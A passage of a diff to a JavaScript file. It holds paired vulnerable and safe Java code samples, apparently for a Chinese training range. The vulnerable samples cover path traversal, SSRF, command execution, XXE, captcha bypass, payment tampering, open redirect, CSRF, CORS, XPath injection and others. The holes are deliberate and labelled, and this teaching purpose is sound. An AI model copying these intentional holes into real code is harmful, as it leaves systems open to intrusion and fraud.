文件不存在或路径不正确:\" + fileName;\n" + " }" -const safeReadFile = "@ApiOperation(value = \"安全读取文件内容\", notes = \"仅允许读取特定目录中的文件内容\")\n" + - "@RequestMapping(\"/safeReadFile\")\n" + - "@ResponseBody\n" + - "public String safeReadFile(@RequestParam(\"fileName\") String fileName) throws IOException {\n" + - " String baseDir = sysConstant.getUploadFolder(); // 限制删除文件所在目录为 /static/upload/下\n" + - " Path filePath = Paths.get(baseDir, fileName).normalize(); // 规范化路径\n" + +const safeReadFile = "public String safe(String fileName) throws IOException {\n" + + " String baseDir = sysConstant.getUploadFolder(); \n" + + " Path filePath = Paths.get(baseDir, fileName).normalize(); \n" + " // 确保文件路径在允许的目录中\n" + " if (!filePath.startsWith(Paths.get(baseDir))) {\n" + " return \"访问被拒绝:文件路径不合法\";\n" + @@ -823,9 +925,7 @@ const safeReadFile = "@ApiOperation(value = \"安全读取文件内容\", notes "}" // 任意文件类型-文件下载 -const downloadFile = '@ApiOperation(value = "下载文件", notes = "下载指定文件")\n' + - '@RequestMapping("/downloadFile")\n' + - 'public void downloadFile(@RequestParam("fileName") String fileName, HttpServletResponse response) throws IOException {\n' + +const downloadFile = 'public void vul(String fileName, HttpServletResponse response) throws IOException {\n' + ' File file = new File(fileName);\n' + '\n' + ' if (file.exists() && file.isFile()) {\n' + @@ -840,14 +940,33 @@ const downloadFile = '@ApiOperation(value = "下载文件", notes = "下载指 ' response.sendError(HttpServletResponse.SC_NOT_FOUND, "文件不存在:" + fileName);\n' + ' }\n' + '}' +const safeDownloadFile = 'public void safe(String fileName,HttpServletResponse response) throws IOException {\n' + + ' String baseDir = sysConstant.getUploadFolder();\n' + + ' if (!isValidFileName(fileName)) {\n' + + ' response.sendError(HttpServletResponse.SC_BAD_REQUEST, "非法文件名:" + fileName);\n' + + ' return;\n' + + ' }\n' + + ' File file = new File(baseDir, fileName);\n' + + '\n' + + ' if (file.exists() && file.isFile()) {\n' + + ' response.setContentType("application/octet-stream");\n' + + ' response.setHeader("Content-Disposition", "attachment; filename=\\"" + file.getName() + "\\"");\n' + + ' try (FileInputStream fis = new FileInputStream(file);\n' + + ' OutputStream os = response.getOutputStream()) {\n' + + ' StreamUtils.copy(fis, os);\n' + + ' os.flush();\n' + + ' ...\n' + + ' } else {\n' + + ' response.sendError(HttpServletResponse.SC_NOT_FOUND, "文件不存在:" + fileName);\n' + + ' }\n' + + '}' // ssrf-服务端请求伪造 -const vul1URLConnection = "@ApiOperation(value = \"漏洞环境:服务端请求伪造\", notes = \"原生漏洞环境,未做任何限制,可调用URLConnection发起任意请求,探测内网服务、读取文件\")\n" + - "@GetMapping(\"/vul1-URLConnection\")\n" + - "public String vul1URLConnection(String url) {\n" + +const vul1URLConnection = "public String vul(String url) {\n" + " try {\n" + " URL u = new URL(url);\n" + - " URLConnection conn = u.openConnection(); // 这里以URLConnection作为演示\n" + + " // 这里以URLConnection作为演示\n" + + " URLConnection conn = u.openConnection();\n" + " BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));\n" + " String content;\n" + " StringBuilder html = new StringBuilder();\n" + @@ -862,9 +981,7 @@ const vul1URLConnection = "@ApiOperation(value = \"漏洞环境:服务端请 " return e.getMessage();\n" + " }\n" + "}" -const safe1WhiteList = "@ApiOperation(value = \"安全代码:请求白名单过滤\", notes = \"判断协议,对请求URL做白名单过滤\")\n" + - "@GetMapping(\"/safe1-WhiteList\")\n" + - "public String safe1WhiteList(@ApiParam(name = \"url\", value = \"请求参数\", required = true) @RequestParam String url) {\n" + +const safe1WhiteList = "public String safe(String url) {\n" + " if (!checkUserInput.isHttp(url)) {\n" + " return \"检测到不是http(s)协议!\";\n" + " } else if (!checkUserInput.ssrfWhiteList(url)) {\n" + @@ -891,9 +1008,7 @@ const safe1WhiteList = "@ApiOperation(value = \"安全代码:请求白名单 "}" // RCE -const vulProcessBuilder = "@RequestMapping(\"/processBuilder\")\n" + - "@ResponseBody\n" + - "public R vulProcessBuilder(@RequestParam(\"payload\") String payload) throws IOException {\n" + +const vulProcessBuilder = "public R vul1(String payload) throws IOException {\n" + " String[] command = {\"sh\", \"-c\",payload};\n" + "\n" + " ProcessBuilder pb = new ProcessBuilder(command);\n" + @@ -909,9 +1024,7 @@ const vulProcessBuilder = "@RequestMapping(\"/processBuilder\")\n" + " return R.ok(output.toString());\n" + "}" -const vulGetRuntime = "@RequestMapping(\"/getRuntime\")\n" + - "@ResponseBody\n" + - "public R vulGetRuntime(String payload) throws IOException {\n" + +const vulGetRuntime = "public R vul2(String payload) throws IOException {\n" + " StringBuilder sb = new StringBuilder();\n" + " String line;\n" + " Process proc = Runtime.getRuntime().exec(payload);\n" + @@ -923,9 +1036,7 @@ const vulGetRuntime = "@RequestMapping(\"/getRuntime\")\n" + " }\n" + " return R.ok(sb.toString());\n" + "}" -const vulProcessImpl = "@RequestMapping(\"/processImpl\")\n" + - "@ResponseBody\n" + - "public R vulProcessImpl(String payload) throws Exception {\n" + +const vulProcessImpl = "public R vul3(String payload) throws Exception {\n" + " // 获取 ProcessImpl 类对象\n" + " Class clazz = Class.forName(\"java.lang.ProcessImpl\");\n" + "\n" + @@ -951,9 +1062,7 @@ const safeProcessBuilder = "// 验证命令是否在允许的列表中\n" + "// 可执行命令白名单\n" + "private static final List ALLOWED_COMMANDS = Arrays.asList(\"ls\", \"date\");" -const vulGroovy = "@GetMapping(\"/vulGroovy\")\n" + - "@ResponseBody\n" + - "public R vulGroovy(String payload) {\n" + +const vulGroovy = "public R vulGroovy(String payload) {\n" + " try {\n" + " GroovyShell shell = new GroovyShell();\n" + " Object result = shell.evaluate(payload); \n" + @@ -980,9 +1089,7 @@ const vulGroovy = "@GetMapping(\"/vulGroovy\")\n" + " }\n" + " return output.toString();\n" + "}" -const safeGroovy = '@GetMapping("/safeGroovy")\n' + - '@ResponseBody\n' + - 'public R safeGroovy(String payload) {\n' + +const safeGroovy = 'public R safeGroovy(String payload) {\n' + ' List trustedScripts = Arrays.asList(\n' + ' "\\"id\\".execute()",\n' + ' "\\"ls\\".execute()",\n' + @@ -1007,13 +1114,11 @@ const safeGroovy = '@GetMapping("/safeGroovy")\n' + '}\n' + 'private boolean isTrustedScript(String script, List trustedScripts) {\n' + ' return trustedScripts.contains(script);\n' + - '}\n' + '}' // XXE -const vulXMLReader = "@RequestMapping(value = \"/vulXMLReader\")\n" + - "@ResponseBody\n" + - "public String vulXMLReader(@RequestParam String payload) {\n" + +const vulXMLReader = "public String vul1(String payload) {\n" + " try {\n" + " XMLReader xmlReader = XMLReaderFactory.createXMLReader();\n" + " StringWriter stringWriter = new StringWriter();\n" + @@ -1035,9 +1140,7 @@ const vulXMLReader = "@RequestMapping(value = \"/vulXMLReader\")\n" + " }\n" + "}" -const vulSAXParser = "@RequestMapping(value = \"/vulSAXParser\")\n" + - "@ResponseBody\n" + - "public String vulSAXParser(@RequestParam String payload) {\n" + +const vulSAXParser = "public String vul2(String payload) {\n" + " try {\n" + " SAXParserFactory factory = SAXParserFactory.newInstance();\n" + " SAXParser parser = factory.newSAXParser();\n" + @@ -1049,9 +1152,7 @@ const vulSAXParser = "@RequestMapping(value = \"/vulSAXParser\")\n" + " }\n" + "}" -const safeXMLReader = "@RequestMapping(value = \"/safeXMLReader\")\n" + - "@ResponseBody\n" + - "public String safeXMLReader(@RequestParam String payload) {\n" + +const safeXMLReader = "public String safe1(String payload) {\n" + " try {\n" + " XMLReader xmlReader = XMLReaderFactory.createXMLReader();\n" + " // 禁用外部实体引用,防止XXE攻击\n" + @@ -1065,9 +1166,7 @@ const safeXMLReader = "@RequestMapping(value = \"/safeXMLReader\")\n" + " return e.getMessage();\n" + " }\n" + "}" -const safeBlackList = "@RequestMapping(value = \"/safeBlackList\")\n" + - "@ResponseBody\n" + - "public String safeBlackList(@RequestParam String payload) {\n" + +const safeBlackList = "public String safe2(String payload) {\n" + " String[] black_list = {\"ENTITY\", \"DOCTYPE\"};\n" + " for (String keyword : black_list) {\n" + " if (payload.toUpperCase().contains(keyword)) {\n" + @@ -1077,64 +1176,296 @@ const safeBlackList = "@RequestMapping(value = \"/safeBlackList\")\n" + " return \"[-]XML内容安全\";\n" + "}" -// 水洞系列 +// 漏洞漏洞 + +// 验证码安全 +const vul1Graphic = "public Boolean verifyCaptcha(String captchaInput, HttpSession session) {\n" + + " String sessionCaptcha = (String) session.getAttribute(\"vulCaptcha\");\n" + + " Long captchaCreationTime = (Long) session.getAttribute(\"captchaCreationTime\");\n" + + " // 如果没有验证码或生成时间,返回失败\n" + + " if (sessionCaptcha == null || captchaCreationTime == null) {\n" + + " return false;\n" + + " }\n" + + " // 验证码有效期为300秒(5分钟)5分钟可以无限制爆破账号密码\n" + + " long captchaExpiryTime = 300 * 1000; // 300秒转换为毫秒\n" + + " // 检查验证码是否过期\n" + + " if (System.currentTimeMillis() - captchaCreationTime > captchaExpiryTime) {\n" + + " session.removeAttribute(\"vulCaptcha\");\n" + + " session.removeAttribute(\"captchaCreationTime\");\n" + + " return false;\n" + + " }\n" + + " // 验证输入的验证码 这里验证失败后也没有清除旧的验证码\n" + + " if (sessionCaptcha.equalsIgnoreCase(captchaInput)) {\n" + + " return true;\n" + + " } else {\n" + + " return false;\n" + + " }\n" + + "}" +const vul2Graphic = "public R vul2(String username, String password, String captcha,HttpSession session) {\n" + + "\tString sessionCaptcha = (String) session.getAttribute(\"vulCaptcha\");\n" + + "\t// 万能验证码:6666\n" + + "\tif (\"6666\".equals(captcha) || (sessionCaptcha != null && sessionCaptcha.equalsIgnoreCase(captcha))) {\n" + + "\t\t// 及时清除旧验证码\n" + + "\t\tsession.removeAttribute(\"vulCaptcha\");\n" + + "\t\tif (REAL_USERNAME.equals(username) && REAL_PASSWORD.equals(password)) {\n" + + "\t\t\treturn R.ok(\"账号爆破成功!用户名:\" + username + \",密码:\" + password);\n" + + "\t\t}else return R.error(\"账号或密码错误!\");\n" + + "\t}else {\n" + + "\t\tsession.removeAttribute(\"vulCaptcha\");\n" + + "\t\treturn R.error(\"验证码错误!\");\n" + + "\t}\n" + + "}" +const vul3Graphic = "public R vul3(String username, String password, String captcha, HttpSession session) {\n" + + "\tString sessionCaptcha = (String) session.getAttribute(\"vulCaptcha\");\n" + + "\tif (sessionCaptcha != null && sessionCaptcha.equalsIgnoreCase(captcha)) {\n" + + "\t\tsession.removeAttribute(\"vulCaptcha\");\n" + + "\t\tif (REAL_USERNAME.equals(username) && REAL_PASSWORD.equals(password)) {\n" + + "\t\t\treturn R.ok(\"账号爆破成功!用户名:\" + username + \",密码:\" + password);\n" + + "\t\t} else return R.error(\"账号或密码错误!\");\n" + + "\t} else {\n" + + "\t\tsession.removeAttribute(\"vulCaptcha\");\n" + + "\t\treturn R.error(\"验证码错误!\");\n" + + "\t}\n" + + "}" +const safeGraphic = "public R safe(String username, String password, String captcha, HttpSession session) {\n" + + " String sessionCaptcha = (String) session.getAttribute(\"safeCaptcha\");\n" + + " Long captchaTimestamp = (Long) session.getAttribute(\"captchaTimestamp\");\n" + + " // 验证验证码是否已失效(1分钟有效)\n" + + " if (captchaTimestamp == null || System.currentTimeMillis() - captchaTimestamp > 60 * 1000) {\n" + + " session.removeAttribute(\"safeCaptcha\");\n" + + " session.removeAttribute(\"captchaTimestamp\");\n" + + " return R.error(\"验证码已失效,请重新获取!\");\n" + + " }\n" + + " if (sessionCaptcha != null && sessionCaptcha.equalsIgnoreCase(captcha)) {\n" + + " session.removeAttribute(\"safeCaptcha\");\n" + + " session.removeAttribute(\"captchaTimestamp\");\n" + + " if (REAL_USERNAME.equals(username) && REAL_PASSWORD.equals(password)) {\n" + + " return R.ok(\"登录成功!用户名:\" + username + \",密码:\" + password);\n" + + " } else {\n" + + " return R.error(\"账号或密码错误!\");\n" + + " }\n" + + " } else {\n" + + " session.removeAttribute(\"safeCaptcha\");\n" + + " session.removeAttribute(\"captchaTimestamp\");\n" + + " return R.error(\"验证码错误,请重新输入!\");\n" + + " }\n" + + "}\n" + + "\n" + + "// 设置图形验证码长度6位\n" + + "ShearCaptcha shearCaptcha = CaptchaUtil.createShearCaptcha(90, 30, 6, 3);" + +const vul1SMS = "public R code(String phone, HttpSession session) {\n" + + " ...\n" + + " Random random = new Random();\n" + + " // 随机生成6位数验证码\n" + + " String captcha = String.valueOf(100000 + random.nextInt(900000));\n" + + " session.setAttribute(\"phone\", phone);\n" + + " session.setAttribute(\"smsCode\", captcha);\n" + + " session.setAttribute(\"captchaTimestamp\", System.currentTimeMillis());\n" + + " // 错误的将短信验证码回显在响应包中\n" + + " return R.ok(\"发送验证码成功!\" + captcha);\n" + + "}" +const vul2SMS = "public R vul2(String phone, String code, @RequestParam(required = false, defaultValue = \"false\") boolean code_verify, HttpSession session) {\n" + + " ...\n" + + " // 校验code_verify字段,如果为true则验证登录成功\n" + + " if (code_verify){\n" + + " return R.ok(\"验证通过!用户:\"+phone);\n" + + " }\n" + + " if (!sessionCaptcha.equals(code)) {\n" + + " return R.error(\"验证码错误,请重新输入!\");\n" + + " }\n" + + " ...\n" + + " return R.ok(\"验证通过!用户:\"+phone);\n" + + "}" + + +// 越权漏洞 +const vulHorizon = "public R vul(String username){\n" + + " User user = userMapper.getAllByUsername(username);\n" + + " if (user!=null){\n" + + " return R.ok(\"用户名:\"+user.getUsername()+\" 密码:\"+user.getPassword());\n" + + " }else return R.error(\"用户名不存在\");\n" + + "}" +const safeHorizon = "public R safe(String username){\n" + + " // 获取当前登录的用户名\n" + + " String currentUsername = SecurityContextHolder.getContext().getAuthentication().getName();\n" + + " // 检查当前请求的用户名是否和登录用户名一致\n" + + " if (!username.equals(currentUsername)) {\n" + + " return R.error(\"您没有权限查看该用户的资料,当前登录用户:\"+currentUsername);\n" + + " }\n" + + " // 查询用户信息\n" + + " User user = userMapper.getAllByUsername(username);\n" + + " if (user != null) {\n" + + " return R.ok(\"用户名:\"+user.getUsername()+\" 密码:\"+user.getPassword());\n" + + " } else {\n" + + " return R.error(\"用户名不存在\");\n" + + " }\n" + + "}" + +// 支付漏洞 +const vul1Pay = "public R vul1(@RequestParam String count, @RequestParam String price) {\n" + + " try {\n" + + " double totalPrice = Integer.parseInt(count) * Double.parseDouble(price);\n" + + " log.info(\"用户需支付金额:\" + totalPrice);\n" + + " \n" + + " // 直接使用客户端传入的价格,未与服务端商品实际价格进行校验\n" + + " BigDecimal currentMoney = userMoney.get();\n" + + " if (currentMoney.compareTo(BigDecimal.valueOf(totalPrice)) < 0) {\n" + + " return R.error(\"支付金额不足,支付失败!\");\n" + + " }\n" + + " userMoney.set(currentMoney.subtract(BigDecimal.valueOf(totalPrice)));\n" + + " return R.ok(\"支付成功!剩余余额:\" + userMoney.get());\n" + + " } catch (Exception e) {\n" + + " return R.error(e.toString());\n" + + " }\n" + + "}"; + +const vul2Pay = "public R vul2(@RequestParam String orderId, @RequestParam double amount) {\n" + + " // 未检查订单是否已支付\n" + + " // 这里应该使用paymentStatusMap检查订单是否已支付,但为了演示漏洞,故意不检查\n" + + " BigDecimal currentMoney = userMoney.get();\n" + + " if (currentMoney.compareTo(BigDecimal.valueOf(amount)) < 0) {\n" + + " return R.error(\"余额不足\");\n" + + " }\n" + + " userMoney.set(currentMoney.subtract(BigDecimal.valueOf(amount)));\n" + + " return R.ok(\"支付成功!剩余余额:\" + userMoney.get());\n" + + "}"; + +const vul3Pay = "public R vul3(@RequestParam String orderId, @RequestParam double amount) {\n" + + " // 模拟处理延迟\n" + + " try {\n" + + " Thread.sleep(1000);\n" + + " } catch (InterruptedException e) {\n" + + " Thread.currentThread().interrupt();\n" + + " }\n" + + "\n" + + " BigDecimal currentMoney = userMoney.get();\n" + + " if (currentMoney.compareTo(BigDecimal.valueOf(amount)) < 0) {\n" + + " return R.error(\"余额不足\");\n" + + " }\n" + + " userMoney.set(currentMoney.subtract(BigDecimal.valueOf(amount)));\n" + + " return R.ok(\"支付成功!剩余余额:\" + userMoney.get());\n" + + "}"; + +const vul4Pay = "@ApiOperation(\"支付流程绕过漏洞 - 创建订单\")\n" + + "@RequestMapping(\"/vul4/create\")\n" + + "public R createOrder(@RequestParam String orderId, @RequestParam double amount) {\n" + + " OrderStatus status = new OrderStatus(orderId, BigDecimal.valueOf(amount));\n" + + " orderStatusMap.put(orderId, status);\n" + + " Map data = new HashMap<>();\n" + + " data.put(\"orderId\", orderId);\n" + + " data.put(\"amount\", amount);\n" + + " return R.ok(\"订单创建成功\").put(\"data\", data);\n" + + "}\n" + + "\n" + + "@ApiOperation(\"支付流程绕过漏洞 - 查询订单状态\")\n" + + "@RequestMapping(\"/vul4/status\")\n" + + "public R getOrderStatus(@RequestParam String orderId) {\n" + + " OrderStatus status = orderStatusMap.get(orderId);\n" + + " if (status == null) {\n" + + " return R.error(\"订单不存在\");\n" + + " }\n" + + " Map data = new HashMap<>();\n" + + " data.put(\"orderId\", status.orderId);\n" + + " data.put(\"amount\", status.amount);\n" + + " data.put(\"isPaid\", status.isPaid);\n" + + " return R.ok().put(\"data\", data);\n" + + "}\n" + + "\n" + + "@ApiOperation(\"支付流程绕过漏洞 - 支付通知\")\n" + + "@RequestMapping(\"/vul4/notify\")\n" + + "public R paymentNotify(@RequestParam String orderId, @RequestParam boolean success) {\n" + + " // 未验证通知来源,直接更新订单状态\n" + + " OrderStatus status = orderStatusMap.get(orderId);\n" + + " if (status == null) {\n" + + " return R.error(\"订单不存在\");\n" + + " }\n" + + " status.isPaid = success;\n" + + " return R.ok(\"状态更新成功\");\n" + + "}"; +const vul5Pay = "public R integerOverflow(@RequestParam String count, @RequestParam String price) {\n" + + " try {\n" + + " Integer countValue = Integer.valueOf(count);\n" + + " Integer priceValue = Integer.valueOf(price);\n" + + "\n" + + " // 整数溢出场景:当 count 或 price 数值过大时,可能会导致溢出\n" + + " int totalAmount = countValue * priceValue;\n" + + " log.info(\"用户需支付金额:\" + totalAmount);\n" + + "\n" + + " BigDecimal currentMoney = userMoney.get();\n" + + " if (currentMoney.compareTo(BigDecimal.valueOf(totalAmount)) < 0) {\n" + + " return R.error(\"支付金额不足,支付失败!\");\n" + + " }\n" + + " userMoney.set(currentMoney.subtract(BigDecimal.valueOf(totalAmount)));\n" + + " return R.ok(\"支付成功!剩余余额:\" + userMoney.get());\n" + + " } catch (Exception e) {\n" + + " return R.error(\"无效的输入,请输入有效的数量和价格!\");\n" + + " }\n" + + "}"; +const vul6Pay = "public R floatingPointPrecision(@RequestParam String count, @RequestParam String price) {\n" + + " try {\n" + + " // 使用BigDecimal处理金额计算,避免浮点数精度问题\n" + + " BigDecimal amountValue = new BigDecimal(price).multiply(new BigDecimal(count));\n" + + " log.info(\"用户需支付金额:\" + amountValue);\n" + + "\n" + + " BigDecimal currentMoney = userMoney.get();\n" + + " if (currentMoney.compareTo(amountValue) < 0) {\n" + + " return R.error(\"支付金额不足,支付失败!\");\n" + + " }\n" + + " userMoney.set(currentMoney.subtract(amountValue));\n" + + " return R.ok(\"支付成功!剩余余额:\" + userMoney.get());\n" + + " } catch (Exception e) {\n" + + " return R.error(\"无效的输入,请输入有效的数量和价格!\");\n" + + " }\n" + + "}"; + +// 其他漏洞 const vul1SpringMvcRedirect = "// 基于Spring MVC的重定向方式\n" + "// 通过返回带有 redirect: 前缀的字符串来实现重定向。\n" + - "@GetMapping(\"/redirect\")\n" + - "public String vul1SpringMvc(@RequestParam(\"url\") String url) {\n" + + "public String vul1(@RequestParam(\"url\") String url) {\n" + " return \"redirect:\" + url; // Spring MVC写法 302临时重定向\n" + "}\n" + "\n" + "// 通过返回 ModelAndView 对象并指定 redirect: 前缀来实现重定向。\n" + - "@RequestMapping(\"/redirectWithModelAndView\")\n" + - "public ModelAndView vul1ModelAndView(@RequestParam(\"url\") String url) {\n" + + "public ModelAndView vul2(@RequestParam(\"url\") String url) {\n" + " return new ModelAndView(\"redirect:\" + url); // Spring MVC写法 使用ModelAndView 302临时重定向\n" + "}"; const vul2ServletRedirect = "// 基于Servlet标准的重定向方式\n" + "// 通过设置响应状态码和头部信息实现重定向。\n" + - "@RequestMapping(\"/setHeader\")\n" + - "@ResponseBody\n" + - "public static void vul2setHeader(HttpServletRequest request, HttpServletResponse response) {\n" + + "public static void vul2(HttpServletRequest request, HttpServletResponse response) {\n" + " String url = request.getParameter(\"url\");\n" + " response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301永久重定向\n" + " response.setHeader(\"Location\", url);\n" + "}\n" + "\n" + "// 通过调用 HttpServletResponse.sendRedirect() 实现重定向。\n" + - "@RequestMapping(\"/sendRedirect\")\n" + - "@ResponseBody\n" + - "public static void vul2sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {\n" + + "public static void vul3(HttpServletRequest request, HttpServletResponse response) throws IOException {\n" + " String url = request.getParameter(\"url\");\n" + " response.sendRedirect(url); // 302临时重定向\n" + "}"; const vul3SpringRedirect = "// 基于Spring注解和状态码的重定向方式\n" + "// 使用ResponseEntity设置状态码实现重定向\n" + - "@RequestMapping(\"/responseEntityRedirect\")\n" + - "@ResponseBody\n" + - "public ResponseEntity responseEntityRedirect(@RequestParam(\"url\") String url) {\n" + + "public ResponseEntity vul5(@RequestParam(\"url\") String url) {\n" + " HttpHeaders headers = new HttpHeaders();\n" + " headers.setLocation(URI.create(url));\n" + " return new ResponseEntity<>(headers, HttpStatus.FOUND); // 302临时重定向\n" + "}\n" + "\n" + "// 通过注解设置状态码实现重定向\n" + - "@GetMapping(\"/annotationRedirect\")\n" + "@ResponseStatus(HttpStatus.FOUND) // 302临时重定向\n" + - "public void annotationRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {\n" + + "public void vul6(HttpServletRequest request, HttpServletResponse response) throws IOException {\n" + " String url = request.getParameter(\"url\");\n" + " response.setHeader(\"Location\", url);\n" + "}"; const safe1Forward = "// 内部跳转\n" + - "@RequestMapping(\"/forward\")\n" + - "@ResponseBody\n" + - "public static void safe1Forward(HttpServletRequest request, HttpServletResponse response) {\n" + + "public static void safe1(HttpServletRequest request, HttpServletResponse response) {\n" + " String url = request.getParameter(\"url\");\n" + " RequestDispatcher rd = request.getRequestDispatcher(url);\n" + " try {\n" + + " // 做了内部转发\n" + " rd.forward(request, response);\n" + - " log.info(\"做了内部转发……\");\n" + " } catch (Exception e) {\n" + " e.printStackTrace();\n" + " }\n" + @@ -1158,8 +1489,7 @@ const safe2CheckUrl = '// 定义 URL 白名单\n' + ' }\n' + ' return true;\n' + '}\n'; -const vulXffforgery = "@RequestMapping(\"/buffli\")\n" + - "public String buffli(HttpServletRequest request, Model model) {\n" + +const vulXffforgery = "public String vul1(HttpServletRequest request, Model model) {\n" + " // 前后端不分离 使用request.getRemoteHost()获取客户端IP\n" + " final String remoteHost = request.getRemoteHost();\n" + " boolean isClientIP8888 = \"8.8.8.8\".equals(remoteHost);\n" + @@ -1171,8 +1501,7 @@ const vulXffforgery = "@RequestMapping(\"/buffli\")\n" + " return \"vul/other/onlyForGoogle\";\n" + "}\n" + "\n" + - "@RequestMapping(\"/ffli\")\n" + - "public String ffli(HttpServletRequest request, HttpServletResponse response, Model model, String xff) {\n" + + "public String vul2(HttpServletRequest request, HttpServletResponse response, Model model, String xff) {\n" + " // 前后端分离 模拟通过X-Forwarded-For头获取客户端IP\n" + " String remoteHost = \"\";\n" + " if (xff.equals(\"true\")) {\n" + @@ -1190,8 +1519,7 @@ const vulXffforgery = "@RequestMapping(\"/buffli\")\n" + " return \"vul/other/onlyForGoogle\";\n" + "}"; -const safeXffforgery = "@RequestMapping(\"/safe\")\n" + - "public String safe(HttpServletRequest request, HttpServletResponse response, Model model, String xff){\n" + +const safeXffforgery = "public String safe(HttpServletRequest request, HttpServletResponse response, Model model, String xff){\n" + " ...\n" + " if (!isTrustedProxy(remoteHost)){\n" + " model.addAttribute(\"clientIP\", request.getRemoteAddr());\n" + @@ -1205,9 +1533,7 @@ const safeXffforgery = "@RequestMapping(\"/safe\")\n" + " return Arrays.asList(\"127.0.0.1\", \"192.168.1.1\", \"10.0.0.1\").contains(ip);\n" + "}" -const vulCsrf = "@RequestMapping(\"/vul\")\n" + - "@ResponseBody\n" + - "public R vulCsrf(String receiver, String amount, @AuthenticationPrincipal UserDetails userDetails){\n" + +const vulCsrf = "public R vul(String receiver, String amount, @AuthenticationPrincipal UserDetails userDetails){\n" + " String currentUser = userDetails.getUsername();\n" + " Map result = new HashMap<>();\n" + " result.put(\"currentUser\", currentUser);\n" + @@ -1215,9 +1541,7 @@ const vulCsrf = "@RequestMapping(\"/vul\")\n" + " result.put(\"amount\", amount);\n" + " return R.ok(result);\n" + "}" -const safeCsrfToken = "@GetMapping(\"/safe\")\n" + - "@ResponseBody\n" + - "public Map safeCsrf(@RequestParam(\"receiver\") String receiver,@RequestParam(\"amount\") String amount,@AuthenticationPrincipal UserDetails userDetails,@RequestParam(\"csrfToken\") String csrfToken,HttpSession session) {\n" + +const safeCsrfToken = "public Map safeCsrf(String receiver,String amount,@AuthenticationPrincipal UserDetails userDetails,String csrfToken,HttpSession session) {\n" + " String currentUser = userDetails.getUsername();\n" + "\n" + " String sessionToken = (String) session.getAttribute(\"csrfToken\");\n" + @@ -1233,9 +1557,7 @@ const safeCsrfToken = "@GetMapping(\"/safe\")\n" + " result.put(\"csrfToken\", csrfToken);\n" + " return result;\n" + "}" -const safeCsrfReferer = "@GetMapping(\"/safe2\")\n" + - "@ResponseBody\n" + - "public Map safeCsrf(HttpServletRequest request, @RequestParam(\"receiver\") String receiver, @RequestParam(\"amount\") String amount, @AuthenticationPrincipal UserDetails userDetails, HttpSession session) {\n" + +const safeCsrfReferer = "public Map safe2(HttpServletRequest request,String receiver,String amount, @AuthenticationPrincipal UserDetails userDetails, HttpSession session) {\n" + " String currentUser = userDetails.getUsername();\n" + " Map result = new HashMap<>();\n" + " String referer = request.getHeader(\"referer\");\n" + @@ -1251,9 +1573,7 @@ const safeCsrfReferer = "@GetMapping(\"/safe2\")\n" + "}" // 跨域安全问题 -const vulCORS = "@GetMapping(\"/corsVul\")\n" + - "@ResponseBody\n" + - "public String corsVul(HttpServletRequest request, HttpServletResponse response) {\n" + +const vulCORS = "public String vul(HttpServletRequest request, HttpServletResponse response) {\n" + " String origin = request.getHeader(\"origin\");\n" + "\n" + " if (origin != null) {\n" + @@ -1270,19 +1590,16 @@ const vulCORS = "@GetMapping(\"/corsVul\")\n" + "}" const safeCORS = "@CrossOrigin(origins = {\"http://127.0.0.1:8080\", \"https://127.0.0.1:8080\"}, allowCredentials = \"true\")\n" + - "@GetMapping(\"/corsSafe\")\n" + - "@ResponseBody\n" + - "public String corsSafe(HttpServletRequest request, HttpServletResponse response) {\n" + + "public String safe(HttpServletRequest request, HttpServletResponse response) {\n" + " // 记录安全 CORS 请求来源\n" + " String origin = request.getHeader(\"origin\");\n" + " // 允许携带凭证,但前提是 `Access-Control-Allow-Origin` 与可信来源匹配\n" + " response.setHeader(\"Access-Control-Allow-Credentials\", \"true\");\n" + "\n" + " return \"配置CORS可信源白名单\";\n" + - "}" + "}\n" -const vulJSONP = '@GetMapping("/jsonpVul")\n' + - 'public void jsonpVul(HttpServletRequest request, HttpServletResponse response) throws IOException, java.io.IOException {\n' + +const vulJSONP = 'public void vul(HttpServletRequest request, HttpServletResponse response) throws IOException, java.io.IOException {\n' + ' String callback = request.getParameter("callback");\n' + ' String sensitiveData = "{\\"username\\":\\"admin\\",\\"password\\":\\"Admin123\\"}";\n' + '\n' + @@ -1301,6 +1618,78 @@ const safeJSONP = "// 校验回调函数名是否合法\n" + " return;\n" + "}" +const vulDos = "public void vul(Integer width,Integer height,HttpServletResponse response) throws IOException {\n" + + " response.setContentType(\"image/jpeg\");\n" + + " response.setHeader(\"Pragma\", \"no-cache\");\n" + + " response.setHeader(\"Cache-Control\", \"no-cache\");\n" + + " // 验证码参数可控 造成拒绝服务攻击\n" + + " ShearCaptcha shearCaptcha = CaptchaUtil.createShearCaptcha(width, height,4,3);\n" + + " try {\n" + + " shearCaptcha.write(response.getOutputStream());\n" + + " } catch (IOException e) {\n" + + " throw new RuntimeException(e);\n" + + " }\n" + + "}" +const vul2Dos = "// 如果解压出的文件是ZIP文件,则递归解压\n" + + "if (entry.getName().endsWith(\".zip\")) {\n" + + " // 创建临时文件来存储这个ZIP\n" + + " File tempFile = File.createTempFile(\"unzip\", \".zip\");\n" + + " try (FileOutputStream fos = new FileOutputStream(tempFile)) {\n" + + " byte[] buffer = new byte[1024];\n" + + " int length;\n" + + " while ((length = zipInputStream.read(buffer)) != -1) {\n" + + " fos.write(buffer, 0, length);\n" + + " }\n" + + " }\n" + + " // 递归解压这个新的ZIP文件\n" + + " unzip(tempFile, currentDepth + 1, maxDepth);\n" + + " // 解压完成后删除临时文件\n" + + " tempFile.delete();\n" + + "} " + +const vulXpath = "public R vul(String username,String password) {\n" + + " try {\n" + + " // 构造XML数据\n" + + " String xmlData = \"adminpassword\";\n" + + " \n" + + "\t\t// 解析XML文档\n" + + " DocumentBuilder builder = DocumentBuilderFactory.newInstance().newDocumentBuilder();\n" + + " Document doc = builder.parse(new InputSource(new StringReader(xmlData)));\n" + + "\n" + + " // 构造XPath表达式(存在注入漏洞)\n" + + " XPath xpath = XPathFactory.newInstance().newXPath();\n" + + " String expression = \"/users/user[username='\" + username + \"' and password='\" + password + \"']\";\n" + + " NodeList nodes = (NodeList) xpath.evaluate(expression, doc, XPathConstants.NODESET);\n" + + " if (nodes.getLength() > 0) {\n" + + " return R.ok(\"用户名和密码验证通过!\");\n" + + " } else {\n" + + " return R.ok(\"用户名或密码错误!\");\n" + + " }\n" + + " ...\n" + + "}" +const safeXpath = "public R safe(String username,String password) {\n" + + " try {\n" + + " DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n" + + " 